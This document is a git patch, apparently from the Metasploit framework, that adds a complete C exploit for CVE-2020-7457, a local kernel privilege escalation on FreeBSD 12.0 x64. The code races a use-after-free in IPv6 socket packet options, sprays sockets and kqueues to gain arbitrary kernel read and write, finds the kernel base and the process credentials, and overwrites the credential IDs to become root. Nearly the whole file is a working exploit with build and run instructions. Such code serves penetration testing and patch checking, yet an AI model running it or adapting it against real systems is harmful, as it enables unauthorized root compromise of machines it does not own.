From cbbd4fc5176bfe3e669a293dda0ab694554c800d Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 9 Jul 2020 23:14:05 +0000 Subject: [PATCH] Add CVE-2020-7457 exploit.c --- data/exploits/CVE-2020-7457/exploit.c | 611 ++++++++++++++++++++++++++ 1 file changed, 611 insertions(+) create mode 100644 data/exploits/CVE-2020-7457/exploit.c diff --git a/data/exploits/CVE-2020-7457/exploit.c b/data/exploits/CVE-2020-7457/exploit.c new file mode 100644 index 0000000000..135ff9b82f --- /dev/null +++ b/data/exploits/CVE-2020-7457/exploit.c @@ -0,0 +1,611 @@ +/* + FreeBSD 12.0-RELEASE x64 Kernel Exploit + + Usage: + $ clang -o exploit exploit.c -lpthread + $ ./exploit +*/ +// msf note: written by theflow0: https://hackerone.com/reports/826026 + +#include +#include +#include +#include +#include +#include +#include +#include +#define _KERNEL +#include +#undef _KERNEL +#define _WANT_FILE +#include +#include +#include +#include +#include +#define _WANT_SOCKET +#include +#include +#define _WANT_INPCB +#include +#include +#include + +// #define FBSD12 + +#define ELF_MAGIC 0x464c457f + +#define IPV6_2292PKTINFO 19 +#define IPV6_2292PKTOPTIONS 25 + +#define TCLASS_MASTER 0x13370000 +#define TCLASS_SPRAY 0x41 +#define TCLASS_TAINT 0x42 + +#define NUM_SPRAY_RACE 0x20 +#define NUM_SPRAY 0x100 +#define NUM_KQUEUES 0x100 + +#ifdef FBSD12 +#define ALLPROC_OFFSET 0x1df3c38 +#else +#define ALLPROC_OFFSET 0xf01e40 +#endif + +#define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo)) +#define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr)) +#define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass)) + +#define PROC_LIST_OFFSET (offsetof(struct proc, p_list)) +#define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred)) +#define PROC_FD_OFFSET (offsetof(struct proc, p_fd)) +#define PROC_PID_OFFSET (offsetof(struct proc, p_pid)) + +#ifdef FBSD12 + +#define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files)) +#define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles)) +#define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles)) +#define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file)) +#define FILE_TYPE_OFFSET (offsetof(struct file, f_type)) +#define FILE_DATA_OFFSET (offsetof(struct file, f_data)) + +#else + +#define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles)) +#define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles)) +#define FILE_TYPE_OFFSET (offsetof(struct file, f_type)) +#define FILE_DATA_OFFSET (offsetof(struct file, f_data)) + +#endif + +#define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop)) +#define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach)) + +#define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb)) +#define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts)) + +int kqueue(void); +int kevent(int kq, const struct kevent *changelist, int nchanges, + struct kevent *eventlist, int nevents, + const struct timespec *timeout); + +static uint64_t kernel_base; +static uint64_t p_ucred, p_fd; +static uint64_t kevent_addr, pktopts_addr; + +static int triggered = 0; +static int kevent_sock, master_sock, overlap_sock, victim_sock; +static int spray_sock[NUM_SPRAY]; +static int kq[NUM_KQUEUES]; + +static void hexDump(const void *data, size_t size) { + size_t i; + for(i = 0; i < size; i++) { + printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n'); + } + printf("\n"); +} + +static int new_socket(void) { + return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); +} + +static void build_tclass_cmsg(char *buf, int val) { + struct cmsghdr *cmsg; + + cmsg = (struct cmsghdr *)buf; + cmsg->cmsg_len = CMSG_LEN(sizeof(int)); + cmsg->cmsg_level = IPPROTO_IPV6; + cmsg->cmsg_type = IPV6_TCLASS; + + *(int *)CMSG_DATA(cmsg) = val; +} + +static int build_rthdr_msg(char *buf, int size) { + struct ip6_rthdr *rthdr; + int len; + + len = ((size >> 3) - 1) & ~1; + size = (len + 1) << 3; + + memset(buf, 0, size); + + rthdr = (struct ip6_rthdr *)buf; + rthdr->ip6r_nxt = 0; + rthdr->ip6r_len = len; + rthdr->ip6r_type = IPV6_RTHDR_TYPE_0; + rthdr->ip6r_segleft = rthdr->ip6r_len >> 1; + + return size; +} + +static int get_rthdr(int s, char *buf, socklen_t len) { + return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len); +} + +static int set_rthdr(int s, char *buf, socklen_t len) { + return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len); +} + +static int free_rthdr(int s) { + return set_rthdr(s, NULL, 0); +} + +static int get_tclass(int s) { + int val; + socklen_t len = sizeof(val); + getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len); + return val; +} + +static int set_tclass(int s, int val) { + return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val)); +} + +static int get_pktinfo(int s, char *buf) { + socklen_t len = sizeof(struct in6_pktinfo); + return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len); +} + +static int set_pktinfo(int s, char *buf) { + return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo)); +} + +static int set_pktopts(int s, char *buf, socklen_t len) { + return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len); +} + +static int free_pktopts(int s) { + return set_pktopts(s, NULL, 0); +} + +static uint64_t leak_rthdr_ptr(int s) { + char buf[0x100]; + get_rthdr(s, buf, sizeof(buf)); + return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET); +} + +static uint64_t leak_kmalloc(char *buf, int size) { + int rthdr_len = build_rthdr_msg(buf, size); + set_rthdr(master_sock, buf, rthdr_len); +#ifdef FBSD12 + get_rthdr(master_sock, buf, rthdr_len); + return *(uint64_t *)(buf + 0x00); +#else + return leak_rthdr_ptr(overlap_sock); +#endif +} + +static void write_to_victim(uint64_t addr) { + char buf[sizeof(struct in6_pktinfo)]; + *(uint64_t *)(buf + 0x00) = addr; + *(uint64_t *)(buf + 0x08) = 0; + *(uint32_t *)(buf + 0x10) = 0; + set_pktinfo(master_sock, buf); +} + +static int find_victim_sock(void) { + char buf[sizeof(struct in6_pktinfo)]; + + write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET); + + for (int i = 0; i < NUM_SPRAY; i++) { + get_pktinfo(spray_sock[i], buf); + if (*(uint64_t *)(buf + 0x00) != 0) + return i; + } + + return -1; +} + +static uint8_t kread8(uint64_t addr) { + char buf[sizeof(struct in6_pktinfo)]; + write_to_victim(addr); + get_pktinfo(victim_sock, buf); + return *(uint8_t *)buf; +} + +static uint16_t kread16(uint64_t addr) { + char buf[sizeof(struct in6_pktinfo)]; + write_to_victim(addr); + get_pktinfo(victim_sock, buf); + return *(uint16_t *)buf; +} + +static uint32_t kread32(uint64_t addr) { + char buf[sizeof(struct in6_pktinfo)]; + write_to_victim(addr); + get_pktinfo(victim_sock, buf); + return *(uint32_t *)buf; +} + +static uint64_t kread64(uint64_t addr) { + char buf[sizeof(struct in6_pktinfo)]; + write_to_victim(addr); + get_pktinfo(victim_sock, buf); + return *(uint64_t *)buf; +} + +static void kread(void *dst, uint64_t src, size_t len) { + for (int i = 0; i < len; i++) + ((uint8_t *)dst)[i] = kread8(src + i); +} + +static void kwrite64(uint64_t addr, uint64_t val) { + int fd = open("/dev/kmem", O_RDWR); + if (fd >= 0) { + lseek(fd, addr, SEEK_SET); + write(fd, &val, sizeof(val)); + close(fd); + } +} + +static int kwrite(uint64_t addr, void *buf) { + write_to_victim(addr); + return set_pktinfo(victim_sock, buf); +} + +static uint64_t find_kernel_base(uint64_t addr) { + addr &= ~(PAGE_SIZE - 1); + while (kread32(addr) != ELF_MAGIC) + addr -= PAGE_SIZE; + return addr; +} + +static int find_proc_cred_and_fd(pid_t pid) { + uint64_t proc = kread64(kernel_base + ALLPROC_OFFSET); + + while (proc) { + if (kread32(proc + PROC_PID_OFFSET) == pid) { + p_ucred = kread64(proc + PROC_UCRED_OFFSET); + p_fd = kread64(proc + PROC_FD_OFFSET); + printf("[+] p_ucred: 0x%lx\n", p_ucred); + printf("[+] p_fd: 0x%lx\n", p_fd); + return 0; + } + + proc = kread64(proc + PROC_LIST_OFFSET); + } + + return -1; +} + +#ifdef FBSD12 + +static uint64_t find_socket_data(int s) { + uint64_t files, ofiles, fp; + int nfiles; + short type; + + files = kread64(p_fd + FILEDESC_FILES_OFFSET); + if (!files) + return 0; + + ofiles = files + FILEDESCENTTBL_OFILES_OFFSET; + + nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET); + if (s < 0 || s >= nfiles) + return 0; + + fp = kread64(ofiles + s * sizeof(struct filedescent) + FILEDESCENT_FILE_OFFSET); + if (!fp) + return 0; + + type = kread16(fp + FILE_TYPE_OFFSET); + if (type != DTYPE_SOCKET) + return 0; + + return kread64(fp + FILE_DATA_OFFSET); +} + +#else + +static uint64_t find_socket_data(int s) { + uint64_t ofiles, fp; + int nfiles; + short type; + + ofiles = kread64(p_fd + FILEDESC_OFILES_OFFSET); + if (!ofiles) + return 0; + + nfiles = kread32(p_fd + FILEDESC_NFILES_OFFSET); + if (s < 0 || s >= nfiles) + return 0; + + fp = kread64(ofiles + s * sizeof(struct file *)); + if (!fp) + return 0; + + type = kread16(fp + FILE_TYPE_OFFSET); + if (type != DTYPE_SOCKET) + return 0; + + return kread64(fp + FILE_DATA_OFFSET); +} + +#endif + +static uint64_t find_socket_pcb(int s) { + uint64_t f_data; + + f_data = find_socket_data(s); + if (!f_data) + return 0; + + return kread64(f_data + SOCKET_PCB_OFFSET); +} + +static uint64_t find_socket_pktopts(int s) { + uint64_t in6p; + + in6p = find_socket_pcb(s); + if (!in6p) + return 0; + + return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET); +} + +static void cleanup(void) { + uint64_t master_pktopts, overlap_pktopts, victim_pktopts; + + master_pktopts = find_socket_pktopts(master_sock); + overlap_pktopts = find_socket_pktopts(overlap_sock); + victim_pktopts = find_socket_pktopts(victim_sock); + + kwrite64(master_pktopts + PKTOPTS_PKTINFO_OFFSET, 0); + kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0); + kwrite64(victim_pktopts + PKTOPTS_PKTINFO_OFFSET, 0); +} + +static void escalate_privileges(void) { + char buf[sizeof(struct in6_pktinfo)]; + + *(uint32_t *)(buf + 0x00) = 0; // cr_uid + *(uint32_t *)(buf + 0x04) = 0; // cr_ruid + *(uint32_t *)(buf + 0x08) = 0; // cr_svuid + *(uint32_t *)(buf + 0x0c) = 1; // cr_ngroups + *(uint32_t *)(buf + 0x10) = 0; // cr_rgid + + kwrite(p_ucred + 4, buf); +} + +static int find_overlap_sock(void) { + set_tclass(master_sock, TCLASS_TAINT); + + for (int i = 0; i < NUM_SPRAY; i++) { + if (get_tclass(spray_sock[i]) == TCLASS_TAINT) + return i; + } + + return -1; +} + +static int spray_pktopts(void) { + for (int i = 0; i < NUM_SPRAY_RACE; i++) + set_tclass(spray_sock[i], TCLASS_SPRAY); + + if (get_tclass(master_sock) == TCLASS_SPRAY) + return 1; + + for (int i = 0; i < NUM_SPRAY_RACE; i++) + free_pktopts(spray_sock[i]); + + return 0; +} + +static void *use_thread(void *arg) { + char buf[CMSG_SPACE(sizeof(int))]; + build_tclass_cmsg(buf, 0); + + while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) { + set_pktopts(master_sock, buf, sizeof(buf)); + +#ifdef FBSD12 + usleep(100); +#endif + } + + triggered = 1; + return NULL; +} + +static void *free_thread(void *arg) { + while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) { + free_pktopts(master_sock); + +#ifdef FBSD12 + if (spray_pktopts()) + break; +#endif + + usleep(100); + } + + triggered = 1; + return NULL; +} + +static int trigger_uaf(void) { + pthread_t th[2]; + + pthread_create(&th[0], NULL, use_thread, NULL); + pthread_create(&th[1], NULL, free_thread, NULL); + + while (1) { + if (spray_pktopts()) + break; + +#ifndef FBSD12 + usleep(100); +#endif + } + + triggered = 1; + + pthread_join(th[0], NULL); + pthread_join(th[1], NULL); + + return find_overlap_sock(); +} + +static int fake_pktopts(uint64_t pktinfo) { + char buf[0x100]; + int rthdr_len, tclass; + + // Free master_sock's pktopts + free_pktopts(overlap_sock); + + // Spray rthdr's to refill master_sock's pktopts + rthdr_len = build_rthdr_msg(buf, 0x100); + for (int i = 0; i < NUM_SPRAY; i++) { + *(uint64_t *)(buf + PKTOPTS_PKTINFO_OFFSET) = pktinfo; + *(uint32_t *)(buf + PKTOPTS_TCLASS_OFFSET) = TCLASS_MASTER | i; + set_rthdr(spray_sock[i], buf, rthdr_len); + } + + tclass = get_tclass(master_sock); + + // See if pktopts has been refilled correctly + if ((tclass & 0xffff0000) != TCLASS_MASTER) { + printf("[-] Error could not refill pktopts.\n"); + exit(1); + } + + return tclass & 0xffff; +} + +static void leak_kevent_pktopts(void) { + char buf[0x800]; + + struct kevent kv; + EV_SET(&kv, kevent_sock, EVFILT_READ, EV_ADD, 0, 5, NULL); + + // Free pktopts + for (int i = 0; i < NUM_SPRAY; i++) + free_pktopts(spray_sock[i]); + + // Leak 0x800 kmalloc addr + kevent_addr = leak_kmalloc(buf, 0x800); + printf("[+] kevent_addr: 0x%lx\n", kevent_addr); + + // Free rthdr buffer and spray kevents to occupy this location + free_rthdr(master_sock); + for (int i = 0; i < NUM_KQUEUES; i++) + kevent(kq[i], &kv, 1, 0, 0, 0); + + // Leak 0x100 kmalloc addr + pktopts_addr = leak_kmalloc(buf, 0x100); + printf("[+] pktopts_addr: 0x%lx\n", pktopts_addr); + + // Free rthdr buffer and spray pktopts to occupy this location + free_rthdr(master_sock); + for (int i = 0; i < NUM_SPRAY; i++) + set_tclass(spray_sock[i], 0); +} + +int main(int argc, char *argv[]) { + uint64_t knote, kn_fop, f_detach; + int idx; + + printf("[*] Initializing sockets...\n"); + + kevent_sock = new_socket(); + master_sock = new_socket(); + + for (int i = 0; i < NUM_SPRAY; i++) + spray_sock[i] = new_socket(); + + for (int i = 0; i < NUM_KQUEUES; i++) + kq[i] = kqueue(); + + printf("[*] Triggering UAF...\n"); + idx = trigger_uaf(); + if (idx == -1) { + printf("[-] Error could not find overlap sock.\n"); + exit(1); + } + + // master_sock and overlap_sock point to the same pktopts + overlap_sock = spray_sock[idx]; + spray_sock[idx] = new_socket(); + printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx); + + // Reallocate pktopts + for (int i = 0; i < NUM_SPRAY; i++) { + free_pktopts(spray_sock[i]); + set_tclass(spray_sock[i], 0); + } + + // Fake master pktopts + idx = fake_pktopts(0); + overlap_sock = spray_sock[idx]; + spray_sock[idx] = new_socket(); // use new socket so logic in spraying will be easier + printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx); + + // Leak address of some kevent and pktopts + leak_kevent_pktopts(); + + // Fake master pktopts + idx = fake_pktopts(pktopts_addr + PKTOPTS_PKTINFO_OFFSET); + overlap_sock = spray_sock[idx]; + printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx); + + idx = find_victim_sock(); + if (idx == -1) { + printf("[-] Error could not find victim sock.\n"); + exit(1); + } + + victim_sock = spray_sock[idx]; + printf("[+] Victim socket: %x (%x)\n", victim_sock, idx); + + printf("[+] Arbitrary R/W achieved.\n"); + + knote = kread64(kevent_addr + kevent_sock * sizeof(uintptr_t)); + kn_fop = kread64(knote + KNOTE_FOP_OFFSET); + f_detach = kread64(kn_fop + FILTEROPS_DETACH_OFFSET); + + printf("[+] knote: 0x%lx\n", knote); + printf("[+] kn_fop: 0x%lx\n", kn_fop); + printf("[+] f_detach: 0x%lx\n", f_detach); + + printf("[+] Finding kernel base...\n"); + kernel_base = find_kernel_base(f_detach); + printf("[+] Kernel base: 0x%lx\n", kernel_base); + + printf("[+] Finding process cred and fd...\n"); + find_proc_cred_and_fd(getpid()); + + printf("[*] Escalating privileges...\n"); + escalate_privileges(); + + printf("[*] Cleaning up...\n"); + cleanup(); + + printf("[+] Done.\n"); + + return 0; +}